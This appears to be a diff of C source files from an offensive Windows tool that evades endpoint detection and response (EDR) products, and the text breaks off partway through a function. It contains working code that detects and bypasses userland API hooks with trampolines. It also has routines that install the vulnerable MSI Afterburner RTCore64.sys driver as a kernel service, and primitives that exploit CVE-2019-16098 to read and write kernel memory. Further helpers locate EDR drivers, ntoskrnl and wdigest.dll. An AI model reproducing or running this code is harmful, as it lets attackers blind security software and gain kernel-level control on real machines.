PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (NULL == trampoline) {
|
||||
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DWORD oldProtect;
|
||||
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
|
||||
#if _WIN64
|
||||
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
|
||||
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
|
||||
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
|
||||
#else
|
||||
* (trampoline + patchSize) = 0xE9; //far JMP
|
||||
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
|
||||
#endif
|
||||
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID hookResolver(PBYTE hookAddr) {
|
||||
PBYTE destination = hookAddr;
|
||||
BOOL hasFollowedJmp = FALSE;
|
||||
while (TRUE) {
|
||||
switch (destination[0]) {
|
||||
case 0xE9:
|
||||
{
|
||||
int diff = *((int*)(&destination[1]));
|
||||
destination = &destination[5] + diff;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#if _WIN64
|
||||
case 0xFF:
|
||||
{
|
||||
BYTE selector = destination[1];
|
||||
if (selector != 0x25) {
|
||||
return NULL;
|
||||
}
|
||||
int diff = *((int*)(&destination[2]));
|
||||
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
|
||||
destination = (PBYTE)*offsetPtr;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
if (!hasFollowedJmp) {
|
||||
return NULL;
|
||||
}
|
||||
else {
|
||||
return destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
|
||||
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
|
||||
}
|
||||
|
||||
hook* searchHooks(const char* csvFileName) {
|
||||
FILE* csvFile = NULL;
|
||||
DWORD hookListSize = 8;
|
||||
DWORD hookList_i = 0;
|
||||
hook* hooksList = calloc(hookListSize, sizeof(hook));
|
||||
if (NULL == hooksList) {
|
||||
debugf("calloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
if (csvFileName) {
|
||||
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
|
||||
perror("CSV file could not be opened:");
|
||||
exit(1);
|
||||
}
|
||||
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
|
||||
}
|
||||
|
||||
BOOL hooksFoundInLastModule = TRUE;
|
||||
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
|
||||
if (dll_name.Buffer == NULL) {
|
||||
continue;
|
||||
}
|
||||
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
|
||||
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf("\tNo hooks found in this module.\n");
|
||||
}
|
||||
else {
|
||||
hooksFoundInLastModule = FALSE;
|
||||
}
|
||||
printf("0x%p : %ws (%ws)\n", currentModuleEntry->DllBase, dll_name.Buffer, moduleName);
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer
|
||||
);
|
||||
}
|
||||
|
||||
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
|
||||
PE* memDLL = PE_create(mem_dllImageBase, TRUE);
|
||||
if (NULL == memDLL->exportDirectory) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
|
||||
continue;
|
||||
}
|
||||
PBYTE disk_dllContent = readFullFileW(currentModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
debugf("\tError : readFullFileW: 0x%x\n\n", GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
PE* diskDLL = PE_create(disk_dllContent, FALSE);
|
||||
PE_rebasePE(diskDLL, memDLL->baseAddress);
|
||||
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
|
||||
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
|
||||
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
|
||||
|
||||
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
|
||||
continue;
|
||||
|
||||
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
|
||||
//check if hook was already detected in this function (due to export aliasing)
|
||||
BOOL alreadyChecked = FALSE;
|
||||
for (size_t i = 0; i < hookList_i; i++) {
|
||||
if (hooksList[i].mem_function == mem_functionStart) {
|
||||
alreadyChecked = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
if (alreadyChecked)
|
||||
continue;
|
||||
|
||||
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
|
||||
printf("\tHook detected in function 0x%08lx : %s", functionRVA, functionName);
|
||||
hooksFoundInLastModule = TRUE;
|
||||
PVOID jmpTarget = hookResolver(mem_functionStart);
|
||||
if (NULL == jmpTarget) {
|
||||
printf(" ...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
|
||||
}
|
||||
else {
|
||||
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
|
||||
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
|
||||
printf(" ");
|
||||
}
|
||||
printf("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
|
||||
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer,
|
||||
functionName,
|
||||
jmpTarget,
|
||||
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
|
||||
);
|
||||
}
|
||||
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize *= 2;
|
||||
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
|
||||
if (hooksList == NULL) {
|
||||
debugf("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
hooksList[hookList_i].mem_function = mem_functionStart;
|
||||
hooksList[hookList_i].disk_function = disk_functionStart;
|
||||
hooksList[hookList_i].functionName = functionName;
|
||||
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
|
||||
hookList_i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf("\tNo hooks found in this module.\n");
|
||||
}
|
||||
if (csvFileName) {
|
||||
fclose(csvFile);
|
||||
}
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize++;
|
||||
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
|
||||
if (NULL == hooksList) {
|
||||
printf("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
hooksList[hookList_i].mem_function = NULL;
|
||||
hooksList[hookList_i].disk_function = NULL;
|
||||
hooksList[hookList_i].functionName = NULL;
|
||||
|
||||
return hooksList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
|
||||
*/
|
||||
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
|
||||
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
|
||||
PE* ntdllPE_mem_l = NULL;
|
||||
PE* ntdllPE_disk_l = NULL;
|
||||
|
||||
if (ntdllMemPe_g == NULL) {
|
||||
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
|
||||
}
|
||||
else {
|
||||
ntdllPE_mem_l = ntdllMemPe_g;
|
||||
}
|
||||
if (ntdllDiskPe_g == NULL) {
|
||||
PVOID disk_dllContent = readFullFileW(ntdllModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
exit(1);
|
||||
}
|
||||
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
|
||||
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
|
||||
}
|
||||
else {
|
||||
ntdllPE_disk_l = ntdllDiskPe_g;
|
||||
}
|
||||
|
||||
if (ntdllPE_mem) {
|
||||
*ntdllPE_mem = ntdllPE_mem_l;
|
||||
}
|
||||
if (ntdllPE_disk) {
|
||||
*ntdllPE_disk = ntdllPE_disk_l;
|
||||
}
|
||||
}
|
||||
|
||||
void test_trampoline_search()
|
||||
{
|
||||
for (hook* h = searchHooks(NULL); h->disk_function; ++h)
|
||||
{
|
||||
PVOID trampoline = NULL;
|
||||
printf("Looking for %s trampoline ...\n", h->functionName);
|
||||
for (diff* d = h->list_patches; d->disk_ptr; ++d)
|
||||
{
|
||||
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
|
||||
if (trampoline)
|
||||
{
|
||||
printf("\tTrampoline found at %p !\n", trampoline);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!trampoline)
|
||||
printf("\tTRAMPOLINE NOT FOUND !\n");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,200 @@
|
||||
/*
|
||||
|
||||
--- Driver install / uninstall functions.
|
||||
--- Source and credit: https://github.com/gentilkiwi/mimikatz
|
||||
|
||||
*/
|
||||
|
||||
#include "DriverOps.h"
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
|
||||
BOOL status = FALSE;
|
||||
DWORD dwSizeNeeded;
|
||||
PSECURITY_DESCRIPTOR oldSd, newSd;
|
||||
SECURITY_DESCRIPTOR dummySdForXP;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
|
||||
EXPLICIT_ACCESS ForEveryoneACL = {
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
|
||||
SET_ACCESS,
|
||||
NO_INHERITANCE,
|
||||
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
|
||||
};
|
||||
|
||||
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
|
||||
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
|
||||
if (oldSd) {
|
||||
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
|
||||
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
|
||||
|
||||
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
|
||||
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
|
||||
LocalFree(newSd);
|
||||
}
|
||||
|
||||
FreeSid(ForEveryoneACL.Trustee.ptstrName);
|
||||
}
|
||||
}
|
||||
LocalFree(oldSd);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
|
||||
SC_HANDLE hSC = NULL, hS = NULL;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, SERVICE_START);
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
|
||||
}
|
||||
|
||||
else {
|
||||
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
|
||||
|
||||
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
|
||||
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
|
||||
if (ServiceAddEveryoneAccess(hS)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("CreateService"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenService"));
|
||||
}
|
||||
}
|
||||
|
||||
if (hS) {
|
||||
if (startIt) {
|
||||
if (StartService(hS, 0, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("StartService"));
|
||||
return GetLastError();
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return GetLastError();
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
|
||||
BOOL status = FALSE;
|
||||
SC_HANDLE hSC, hS;
|
||||
SERVICE_STATUS serviceStatus;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, dwDesiredAccess);
|
||||
if (hS) {
|
||||
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
|
||||
|
||||
// Used as a stop point for recursive calls to ServiceUninstall.
|
||||
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
|
||||
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
|
||||
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
BOOL deleted = FALSE;
|
||||
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
|
||||
if (hS) {
|
||||
if (QueryServiceStatus(hS, &status)) {
|
||||
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
|
||||
CloseServiceHandle(hS);
|
||||
CloseServiceHandle(hSC);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
else {
|
||||
deleted = DeleteService(hS);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
if (!deleted) {
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
return deleted;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
|
||||
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
|
||||
|
||||
*/
|
||||
|
||||
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
|
||||
const TCHAR svcDesc[] = TEXT("");
|
||||
|
||||
DWORD status = ServiceInstall(gVulnDriverServiceName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
|
||||
|
||||
if (status == 0x00000005) {
|
||||
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
|
||||
}
|
||||
|
||||
return status == 0x0;
|
||||
}
|
||||
|
||||
BOOL UninstallVulnerableDriver() {
|
||||
BOOL status = ServiceUninstall(gVulnDriverServiceName, 0);
|
||||
|
||||
if (!status) {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl.exe / wdigest.dll version compute functions.
|
||||
|
||||
*/
|
||||
|
||||
#include "FileVersion.h"
|
||||
|
||||
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
DWORD verHandle = 0;
|
||||
UINT size = 0;
|
||||
LPVOID lpBuffer = NULL;
|
||||
|
||||
DWORD verSize = GetFileVersionInfoSize(filename, &verHandle);
|
||||
|
||||
if (verSize != 0) {
|
||||
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
|
||||
|
||||
if (!verData) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
|
||||
return;
|
||||
}
|
||||
|
||||
if (GetFileVersionInfo(filename, 0, verSize, verData)) {
|
||||
if (VerQueryValue(verData, TEXT("\\"), &lpBuffer, &size)) {
|
||||
if (size) {
|
||||
VS_FIXEDFILEINFO* verInfo = (VS_FIXEDFILEINFO*)lpBuffer;
|
||||
if (verInfo->dwSignature == 0xfeef04bd) {
|
||||
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
|
||||
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
|
||||
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
|
||||
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
free(verData);
|
||||
}
|
||||
}
|
||||
|
||||
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
|
||||
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
|
||||
}
|
||||
|
||||
void GetWdigestVersion(TCHAR* wdigestVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR wdigestPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
|
||||
|
||||
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
/*
|
||||
|
||||
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
|
||||
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
|
||||
|
||||
*/
|
||||
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
|
||||
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
|
||||
|
||||
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_READ_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
|
||||
return MemoryRead.Value;
|
||||
}
|
||||
|
||||
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
|
||||
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
||||
MemoryRead.Address = Address;
|
||||
MemoryRead.ReadSize = Size;
|
||||
MemoryRead.Value = Value;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
DeviceIoControl(Device,
|
||||
RTCORE64_MEMORY_WRITE_CODE,
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&MemoryRead,
|
||||
sizeof(MemoryRead),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
}
|
||||
|
||||
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
|
||||
}
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
|
||||
}
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
|
||||
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
|
||||
}
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
|
||||
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
|
||||
}
|
||||
|
||||
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
||||
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
--- Kernel exploitation helpers.
|
||||
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void) {
|
||||
DWORD cbNeeded = 0;
|
||||
LPVOID drivers[1024];
|
||||
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
return (DWORD64)drivers[0];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
|
||||
|
||||
LPVOID drivers[1024];
|
||||
DWORD cbNeeded;
|
||||
int cDrivers = 0;
|
||||
int i = 0;
|
||||
TCHAR szDriver[1024] = { 0 };
|
||||
DWORD64 minDiff = MAXDWORD64;
|
||||
DWORD64 diff;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
||||
cDrivers = cbNeeded / sizeof(drivers[0]);
|
||||
for (i = 0; i < cDrivers; i++) {
|
||||
if ((DWORD64)drivers[i] <= address) {
|
||||
diff = address - (DWORD64)drivers[i];
|
||||
if (diff < minDiff) {
|
||||
minDiff = diff;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
|
||||
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
|
||||
}
|
||||
|
||||
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
|
||||
|
||||
if (!ptrDrvier) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
_tcscpy_s(ptrDrvier, 1024, szDriver);
|
||||
return ptrDrvier;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
HANDLE GetDriverHandle() {
|
||||
TCHAR service[MAX_PATH] = { 0 };
|
||||
TCHAR suffix[] = TEXT("\\\\.\\");
|
||||
_tcsncat_s(service, _countof(service), suffix, _countof(suffix));
|
||||
_tcsncat_s(service, _countof(service), gVulnDriverServiceName, _tcslen(gVulnDriverServiceName));
|
||||
